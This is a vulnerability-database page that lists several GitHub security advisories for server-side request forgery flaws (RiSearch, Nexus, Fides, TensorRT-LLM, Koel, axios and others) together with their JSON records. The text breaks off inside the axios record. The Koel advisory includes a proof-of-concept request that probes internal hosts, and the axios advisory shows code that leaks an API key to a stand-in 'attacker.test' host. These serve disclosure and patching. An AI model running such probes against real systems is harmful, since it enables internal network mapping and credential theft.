Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4719 vulnerabilities reference this CWE, most recent first.

GHSA-JPC9-RMM6-C6XG

Vulnerability from github – Published: 2022-04-29 03:00 – Updated: 2024-02-08 21:30
VLAI
Details

RiSearch 1.0.01 and RiSearch Pro 3.2.06 allows remote attackers to use the show.pl script as an open proxy, or read arbitrary local files, by setting the url parameter to a (1) http://, (2) ftp://, or (3) file:// URL.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2004-2061"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2004-07-27T04:00:00Z",
    "severity": "HIGH"
  },
  "details": "RiSearch 1.0.01 and RiSearch Pro 3.2.06 allows remote attackers to use the show.pl script as an open proxy, or read arbitrary local files, by setting the url parameter to a (1) http://, (2) ftp://, or (3) file:// URL.",
  "id": "GHSA-jpc9-rmm6-c6xg",
  "modified": "2024-02-08T21:30:30Z",
  "published": "2022-04-29T03:00:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2004-2061"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/16817"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=109095196526490\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/12173"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1010788"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/8265"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/8266"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/10812"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JPVP-VQX9-22QG

Vulnerability from github – Published: 2026-07-14 18:31 – Updated: 2026-07-14 18:31
VLAI
Details

Nexus Repository 3 is vulnerable to Server-Side Request Forgery (SSRF) via the SSL Certificate Retrieval endpoint. A user holding the nexus:ssl-truststore:read permission could cause the server to initiate outbound connections to internal or otherwise restricted network hosts. This issue affects Nexus Repository 3.0.0 through versions prior to 3.94.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-7494"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T16:17:04Z",
    "severity": "MODERATE"
  },
  "details": "Nexus Repository 3 is vulnerable to Server-Side Request Forgery (SSRF) via the SSL Certificate Retrieval endpoint. A user holding the nexus:ssl-truststore:read permission could cause the server to initiate outbound connections to internal or otherwise restricted network hosts. This issue affects Nexus Repository 3.0.0 through versions prior to 3.94.0.",
  "id": "GHSA-jpvp-vqx9-22qg",
  "modified": "2026-07-14T18:31:56Z",
  "published": "2026-07-14T18:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7494"
    },
    {
      "type": "WEB",
      "url": "https://help.sonatype.com/en/sonatype-nexus-repository-3-94-0-release-notes.html"
    },
    {
      "type": "WEB",
      "url": "https://support.sonatype.com/hc/en-us/articles/53126069518227"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JQ3W-9MGF-43M4

Vulnerability from github – Published: 2023-10-24 02:14 – Updated: 2023-10-31 21:20
VLAI
Summary
Fides Server-Side Request Forgery Vulnerability in Custom Integration Upload
Details

Impact

The Fides web application allows a custom integration to be uploaded as a ZIP file containing configuration and dataset definitions in YAML format.

It was discovered that specially crafted YAML dataset and config files allow a malicious user to perform arbitrary requests to internal systems and exfiltrate data outside the environment (also known as a Server-Side Request Forgery). The application does not perform proper validation to block attempts to connect to internal (including localhost) resources.

Exploitation is limited to API clients with the CONNECTOR_TEMPLATE_REGISTER authorization scope. In the Fides Admin UI this scope is restricted to highly privileged users, specifically root users and users with the owner role.

Patches

The vulnerability has been patched in Fides version 2.22.1. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds

There are no workarounds.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ethyca-fides"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.22.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46124"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-24T02:14:30Z",
    "nvd_published_at": "2023-10-25T18:17:36Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe Fides web application allows a custom integration to be uploaded as a ZIP file containing configuration and dataset definitions in YAML format. \n\nIt was discovered that specially crafted YAML dataset and config files allow a malicious user to perform arbitrary requests to internal systems and exfiltrate data outside the environment (also known as a Server-Side Request Forgery). The application does not perform proper validation to block attempts to connect to internal (including localhost) resources.\n\nExploitation is limited to API clients with the `CONNECTOR_TEMPLATE_REGISTER` authorization scope. In the Fides Admin UI this scope is restricted to highly privileged users, specifically root users and users with the owner role.\n\n### Patches\nThe vulnerability has been patched in Fides version `2.22.1`. Users are advised to upgrade to this version or later to secure their systems against this threat.\n\n### Workarounds\nThere are no workarounds.\n",
  "id": "GHSA-jq3w-9mgf-43m4",
  "modified": "2023-10-31T21:20:15Z",
  "published": "2023-10-24T02:14:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ethyca/fides/security/advisories/GHSA-jq3w-9mgf-43m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46124"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ethyca/fides/commit/cd344d016b1441662a61d0759e7913e8228ed1ee"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ethyca/fides"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ethyca/fides/releases/tag/2.22.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fides Server-Side Request Forgery Vulnerability in Custom Integration Upload"
}

GHSA-JQMH-73HW-J5FM

Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-14 21:32
VLAI
Details

NVIDIA TensorRT-LLM for Linux contains a vulnerability in the multimodal media fetching functions, where a network-accessible attacker could cause server-side request forgery. A successful exploit of this vulnerability might lead to denial of service and information disclosure.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-24234"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T21:16:44Z",
    "severity": "MODERATE"
  },
  "details": "NVIDIA TensorRT-LLM for Linux contains a vulnerability in the multimodal media fetching functions, where a network-accessible attacker could cause server-side request forgery. A successful exploit of this vulnerability might lead to denial of service and information disclosure.",
  "id": "GHSA-jqmh-73hw-j5fm",
  "modified": "2026-07-14T21:32:21Z",
  "published": "2026-07-14T21:32:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24234"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24234"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JR2V-748R-FRVV

Vulnerability from github – Published: 2024-01-30 00:30 – Updated: 2024-01-30 00:30
VLAI
Details

A vulnerability, which was classified as critical, has been found in Rebuild up to 3.5.5. Affected by this issue is the function readRawText of the component HTTP Request Handler. The manipulation of the argument url leads to server-side request forgery. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-252290 is the identifier assigned to this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-1021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-29T22:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as critical, has been found in Rebuild up to 3.5.5. Affected by this issue is the function readRawText of the component HTTP Request Handler. The manipulation of the argument url leads to server-side request forgery. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-252290 is the identifier assigned to this vulnerability.",
  "id": "GHSA-jr2v-748r-frvv",
  "modified": "2024-01-30T00:30:29Z",
  "published": "2024-01-30T00:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1021"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.252290"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.252290"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/mailemonyeyongjuan/tha8tr/yemvnt5uo53gfem5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JR3W-Q7CR-JXM2

Vulnerability from github – Published: 2024-04-30 03:30 – Updated: 2024-04-30 03:30
VLAI
Details

The Google Doc Embedder plugin for WordPress is vulnerable to Server Side Request Forgery via the 'gview' shortcode in versions up to, and including, 2.6.4. This can allow authenticated attackers with contributor-level permissions or above to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-0216"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-30T02:15:06Z",
    "severity": "MODERATE"
  },
  "details": "The Google Doc Embedder plugin for WordPress is vulnerable to Server Side Request Forgery via the \u0027gview\u0027 shortcode in versions up to, and including, 2.6.4. This can allow authenticated attackers with contributor-level permissions or above to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-jr3w-q7cr-jxm2",
  "modified": "2024-04-30T03:30:48Z",
  "published": "2024-04-30T03:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0216"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/google-document-embedder/tags/2.6.4/functions.php#L187"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/75e55138-b091-4113-89da-e1ca45fb99ea?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JR4P-4XJH-FWVW

Vulnerability from github – Published: 2026-07-15 18:21 – Updated: 2026-07-15 18:21
VLAI
Summary
Koel: Server-Side Request Forgery (SSRF) in radio station creation due to missing validation bail
Details

Summary

Koel v9.5.0 contains a Server-Side Request Forgery (SSRF) vulnerability in the radio station creation endpoint (POST /api/radio/stations). The url field validation rules are declared without the bail keyword, so the HasAudioContentType rule — which issues HTTP requests to the supplied URL — still executes even after the SafeUrl rule has rejected the URL as pointing to a private/reserved address. Any authenticated, non-admin user can therefore coerce the server into making HEAD/GET requests to arbitrary internal hosts.

This is a blind SSRF: the response body is never returned to the client, but the two distinct validation error messages form a reliable internal-network reachability oracle.

Severity

Medium — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N (5.4)

Authenticated (low-privilege) actor; blind SSRF (no response-body exfiltration). Confidentiality (L) reflects the internal reachability oracle; Integrity (L) reflects state-changing internal endpoints that act on GET/HEAD.

Affected Component

  • Version: Koel v9.5.0 (latest release, HEAD b2e9a34, verified 2026-05-30)
  • Endpoint: POST /api/radio/stations
  • Files:
  • app/Http/Requests/API/Radio/RadioStationStoreRequest.php (missing bail)
  • app/Rules/HasAudioContentType.php (unguarded HTTP fetch)

Root Cause

app/Http/Requests/API/Radio/RadioStationStoreRequest.php (lines 25-34):

'url' => [
    'required',
    'url',
    Rule::unique('radio_stations')->where(function ($query) {
        return $query->where('user_id', $this->user()->id);
    }),
    new SafeUrl(),
    new HasAudioContentType(),
],

In Laravel, validation rules within a single attribute run in sequence and do not stop on the first failure unless bail is present or FormRequest::$stopOnFirstFailure is set. Neither is the case here (App\Http\Requests\Request does not override stopOnFirstFailure, and authorize() simply returns true).

For a directly-supplied private/reserved address (e.g. http://169.254.169.254, http://127.0.0.1:6379, http://192.168.0.1):

  1. SafeUrl (app/Rules/SafeUrl.php lines 45-49) calls isPublicHost($uri->host()), fails it, calls $fail(...) and returns. SafeUrl itself does not make a request in this path — good.
  2. Because there is no bail, validation continues to HasAudioContentType.
  3. HasAudioContentType::resolveContentType() (app/Rules/HasAudioContentType.php lines 41-57) issues the request with no IP/host validation of its own:

    private function resolveContentType(string $url): string { try { $response = Http::head($url); // <-- SSRF if ($response->successful()) { return $response->header('Content-Type'); } } catch (Throwable) { }

    // Falls back to a streaming GET
    $response = Http::withHeaders(['Icy-MetaData' => '1'])
        ->withOptions(['stream' => true])
        ->get($url);                               // <-- SSRF
    return $response->header('Content-Type');
    

    }

The rule's own docblock (line 13-14) states "Should be used after SafeUrl to ensure the URL is safe to reach." — that assumption is silently violated by the missing bail.

Authorization Context

The endpoint is reachable by any authenticated user, not just admins:

  • routes/api.base.php line 108 wraps the route group in Route::middleware('auth') only.
  • routes/api.base.php line 268: Route::apiResource('stations', RadioStationController::class).
  • RadioStationController::store() (lines 31-37) carries only #[DisabledInDemo] — no $this->authorize(...), no #[RequiresPlus], no permission check.

Reachability Oracle (Information Disclosure)

HasAudioContentType::validate() returns two distinct messages:

  • Host unreachable / request throws → "The url couldn't be reached." (line 26)
  • Host reachable but Content-Type is not audio/* → "The url doesn't look like a valid radio station URL." (line 32)

By diffing these responses an attacker can enumerate which internal hosts/ports are live behind the firewall (internal host discovery and coarse port scanning).

Proof of Concept

As any regular authenticated user:

POST /api/radio/stations HTTP/1.1
Host: koel.example.com
Authorization: Bearer <regular_user_token>
Content-Type: application/json

{
  "name": "probe",
  "url": "http://127.0.0.1:6379"
}
  • If the internal service answers → "The url doesn't look like a valid radio station URL."
  • If nothing is listening → "The url couldn't be reached."

The server has now issued a HEAD and a streaming GET to 127.0.0.1:6379 despite SafeUrl having rejected it.

Impact

  • Blind SSRF: server-side HEAD/GET to attacker-chosen internal addresses. The response body is never returned to the client, so this cannot directly exfiltrate content (e.g. cloud-metadata bodies).
  • Internal reachability oracle: reliable live-host / open-port discovery via the two distinct error strings.
  • Side-effect requests: any internal endpoint that performs a state-changing action on GET/HEAD can be triggered.

Note on scope: because SafeUrl calls $fail() for a private host, the overall request validation fails (Laravel aggregates all rule failures; a single failure yields a 422), so RadioStationController::store() never runs and no station is persisted. The impact is therefore limited to the out-of-band HEAD/GET requests issued by HasAudioContentType during validation, plus the reachability oracle — it does not chain into a stored station or into the authenticated radio stream proxy via this path.

Recommended Fix

Add bail so HasAudioContentType only runs after SafeUrl passes, restoring the rule's documented precondition:

'url' => [
    'required',
    'url',
    'bail',
    Rule::unique('radio_stations')->where(/* ... */),
    new SafeUrl(),
    new HasAudioContentType(),
],

(Place bail before SafeUrl/HasAudioContentType; the unique check is local DB only and safe to keep ahead of it if preferred.)

Defense in depth

Have HasAudioContentType::resolveContentType() re-validate the host with Network::isPublicHost() (or reuse Network::isSafeUrl()) before issuing any request, so the rule is safe regardless of ordering. The same Network helper is already used by PodcastService for enclosure URLs.

Relationship to CVE-2026-47260

CVE-2026-47260 addressed SSRF via podcast episode enclosure URLs; the current code guards that sink in app/Services/Podcast/PodcastService.php (line 143) with Network::isSafeUrl(). The radio-station path relies instead on the SafeUrl validation rule, but the missing bail lets the adjacent HasAudioContentType fetch run anyway — leaving an SSRF reachable from the same class of untrusted, user-supplied URLs. I have not been able to confirm the exact upstream fix commit for CVE-2026-47260 from the release tarball, so I am presenting this as an independent finding rather than asserting it is the same code change.

Disclosure

  • 2026-05-30: Identified via source review of v9.5.0 (b2e9a34).
  • Verified entirely by source inspection (route middleware, controller, FormRequest base class, and both validation rules). No live PoC was executed against a third-party host.

If the maintainers agree this is a distinct issue, would you consider requesting a CVE identifier for it through GitHub Security Advisories? Happy to provide any further detail or testing.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.7.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phanan/koel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50552"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T18:21:04Z",
    "nvd_published_at": "2026-06-12T20:16:47Z",
    "severity": "MODERATE"
  },
  "details": "Summary\n\nKoel v9.5.0 contains a Server-Side Request Forgery (SSRF) vulnerability in the radio station creation endpoint (POST /api/radio/stations). The url field validation rules are declared without the bail keyword, so the HasAudioContentType rule \u2014 which issues HTTP requests to the supplied URL \u2014 still executes even after the SafeUrl rule has rejected the URL as pointing to a private/reserved address. Any authenticated, non-admin user can therefore coerce the server into making HEAD/GET requests to arbitrary internal hosts.\n\nThis is a blind SSRF: the response body is never returned to the client, but the two distinct validation error messages form a reliable internal-network reachability oracle.\n\nSeverity\n\nMedium \u2014 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N (5.4)\n\nAuthenticated (low-privilege) actor; blind SSRF (no response-body exfiltration). Confidentiality (L) reflects the internal reachability oracle; Integrity (L) reflects state-changing internal endpoints that act on GET/HEAD.\n\nAffected Component\n\n- Version: Koel v9.5.0 (latest release, HEAD b2e9a34, verified 2026-05-30)\n- Endpoint: POST /api/radio/stations\n- Files:\n  - app/Http/Requests/API/Radio/RadioStationStoreRequest.php (missing bail)\n  - app/Rules/HasAudioContentType.php (unguarded HTTP fetch)\n\nRoot Cause\n\napp/Http/Requests/API/Radio/RadioStationStoreRequest.php (lines 25-34):\n\n    \u0027url\u0027 =\u003e [\n        \u0027required\u0027,\n        \u0027url\u0027,\n        Rule::unique(\u0027radio_stations\u0027)-\u003ewhere(function ($query) {\n            return $query-\u003ewhere(\u0027user_id\u0027, $this-\u003euser()-\u003eid);\n        }),\n        new SafeUrl(),\n        new HasAudioContentType(),\n    ],\n\nIn Laravel, validation rules within a single attribute run in sequence and do not stop on the first failure unless bail is present or FormRequest::$stopOnFirstFailure is set. Neither is the case here (App\\Http\\Requests\\Request does not override stopOnFirstFailure, and authorize() simply returns true).\n\nFor a directly-supplied private/reserved address (e.g. http://169.254.169.254, http://127.0.0.1:6379, http://192.168.0.1):\n\n1. SafeUrl (app/Rules/SafeUrl.php lines 45-49) calls isPublicHost($uri-\u003ehost()), fails it, calls $fail(...) and returns. SafeUrl itself does not make a request in this path \u2014 good.\n2. Because there is no bail, validation continues to HasAudioContentType.\n3. HasAudioContentType::resolveContentType() (app/Rules/HasAudioContentType.php lines 41-57) issues the request with no IP/host validation of its own:\n\n    private function resolveContentType(string $url): string\n    {\n        try {\n            $response = Http::head($url);              // \u003c-- SSRF\n            if ($response-\u003esuccessful()) {\n                return $response-\u003eheader(\u0027Content-Type\u0027);\n            }\n        } catch (Throwable) { }\n    \n        // Falls back to a streaming GET\n        $response = Http::withHeaders([\u0027Icy-MetaData\u0027 =\u003e \u00271\u0027])\n            -\u003ewithOptions([\u0027stream\u0027 =\u003e true])\n            -\u003eget($url);                               // \u003c-- SSRF\n        return $response-\u003eheader(\u0027Content-Type\u0027);\n    }\n\nThe rule\u0027s own docblock (line 13-14) states \"Should be used after SafeUrl to ensure the URL is safe to reach.\" \u2014 that assumption is silently violated by the missing bail.\n\nAuthorization Context\n\nThe endpoint is reachable by any authenticated user, not just admins:\n\n- routes/api.base.php line 108 wraps the route group in Route::middleware(\u0027auth\u0027) only.\n- routes/api.base.php line 268: Route::apiResource(\u0027stations\u0027, RadioStationController::class).\n- RadioStationController::store() (lines 31-37) carries only #[DisabledInDemo] \u2014 no $this-\u003eauthorize(...), no #[RequiresPlus], no permission check.\n\nReachability Oracle (Information Disclosure)\n\nHasAudioContentType::validate() returns two distinct messages:\n\n- Host unreachable / request throws \u2192 \"The url couldn\u0027t be reached.\" (line 26)\n- Host reachable but Content-Type is not audio/* \u2192 \"The url doesn\u0027t look like a valid radio station URL.\" (line 32)\n\nBy diffing these responses an attacker can enumerate which internal hosts/ports are live behind the firewall (internal host discovery and coarse port scanning).\n\nProof of Concept\n\nAs any regular authenticated user:\n\n    POST /api/radio/stations HTTP/1.1\n    Host: koel.example.com\n    Authorization: Bearer \u003cregular_user_token\u003e\n    Content-Type: application/json\n    \n    {\n      \"name\": \"probe\",\n      \"url\": \"http://127.0.0.1:6379\"\n    }\n\n- If the internal service answers \u2192 \"The url doesn\u0027t look like a valid radio station URL.\"\n- If nothing is listening \u2192 \"The url couldn\u0027t be reached.\"\n\nThe server has now issued a HEAD and a streaming GET to 127.0.0.1:6379 despite SafeUrl having rejected it.\n\nImpact\n\n- Blind SSRF: server-side HEAD/GET to attacker-chosen internal addresses. The response body is never returned to the client, so this cannot directly exfiltrate content (e.g. cloud-metadata bodies).\n- Internal reachability oracle: reliable live-host / open-port discovery via the two distinct error strings.\n- Side-effect requests: any internal endpoint that performs a state-changing action on GET/HEAD can be triggered.\n\nNote on scope: because SafeUrl calls $fail() for a private host, the overall request validation fails (Laravel aggregates all rule failures; a single failure yields a 422), so RadioStationController::store() never runs and no station is persisted. The impact is therefore limited to the out-of-band HEAD/GET requests issued by HasAudioContentType during validation, plus the reachability oracle \u2014 it does not chain into a stored station or into the authenticated radio stream proxy via this path.\n\nRecommended Fix\n\nAdd bail so HasAudioContentType only runs after SafeUrl passes, restoring the rule\u0027s documented precondition:\n\n    \u0027url\u0027 =\u003e [\n        \u0027required\u0027,\n        \u0027url\u0027,\n        \u0027bail\u0027,\n        Rule::unique(\u0027radio_stations\u0027)-\u003ewhere(/* ... */),\n        new SafeUrl(),\n        new HasAudioContentType(),\n    ],\n\n(Place bail before SafeUrl/HasAudioContentType; the unique check is local DB only and safe to keep ahead of it if preferred.)\n\nDefense in depth\n\nHave HasAudioContentType::resolveContentType() re-validate the host with Network::isPublicHost() (or reuse Network::isSafeUrl()) before issuing any request, so the rule is safe regardless of ordering. The same Network helper is already used by PodcastService for enclosure URLs.\n\nRelationship to CVE-2026-47260\n\nCVE-2026-47260 addressed SSRF via podcast episode enclosure URLs; the current code guards that sink in app/Services/Podcast/PodcastService.php (line 143) with Network::isSafeUrl(). The radio-station path relies instead on the SafeUrl validation rule, but the missing bail lets the adjacent HasAudioContentType fetch run anyway \u2014 leaving an SSRF reachable from the same class of untrusted, user-supplied URLs. I have not been able to confirm the exact upstream fix commit for CVE-2026-47260 from the release tarball, so I am presenting this as an independent finding rather than asserting it is the same code change.\n\nDisclosure\n\n- 2026-05-30: Identified via source review of v9.5.0 (b2e9a34).\n- Verified entirely by source inspection (route middleware, controller, FormRequest base class, and both validation rules). No live PoC was executed against a third-party host.\n\nIf the maintainers agree this is a distinct issue, would you consider requesting a CVE identifier for it through GitHub Security Advisories? Happy to provide any further detail or testing.",
  "id": "GHSA-jr4p-4xjh-fwvw",
  "modified": "2026-07-15T18:21:04Z",
  "published": "2026-07-15T18:21:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/security/advisories/GHSA-jr4p-4xjh-fwvw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50552"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/pull/2549"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/commit/5f6ce2cefd08f437a269236b677ad971517ccbb6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koel/koel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/releases/tag/v9.7.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Koel: Server-Side Request Forgery (SSRF) in radio station creation due to missing validation bail"
}

GHSA-JR5F-V2JV-69X6

Vulnerability from github – Published: 2025-03-07 15:16 – Updated: 2025-11-27 08:44
VLAI
Summary
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-07T15:16:00Z",
    "nvd_published_at": "2025-03-07T16:15:38Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463\n\nA similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if \u2060`baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.\n\n### Details\n\nConsider the following code snippet:\n\n```js\nimport axios from \"axios\";\n\nconst internalAPIClient = axios.create({\n  baseURL: \"http://example.test/api/v1/users/\",\n  headers: {\n    \"X-API-KEY\": \"1234567890\",\n  },\n});\n\n// const userId = \"123\";\nconst userId = \"http://attacker.test/\";\n\nawait internalAPIClient.get(userId); // SSRF\n```\n\nIn this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `X-API-KEY` included in the request headers.\n\nIt is recommended that:\n\n-\tWhen `baseURL` is set, passing an absolute URL such as `http://attacker.test/` to `get()` should not ignore `baseURL`.\n-\tBefore sending the HTTP request (after combining the `baseURL` with the user-provided parameter), axios should verify that the resulting URL still begins with the expected `baseURL`.\n\n### PoC\n\nFollow the steps below to reproduce the issue:\n\n1.\tSet up two simple HTTP servers:\n\n```\nmkdir /tmp/server1 /tmp/server2\necho \"this is server1\" \u003e /tmp/server1/index.html \necho \"this is server2\" \u003e /tmp/server2/index.html\npython -m http.server -d /tmp/server1 10001 \u0026\npython -m http.server -d /tmp/server2 10002 \u0026\n```\n\n\n2.\tCreate a script (e.g., main.js):\n\n```js\nimport axios from 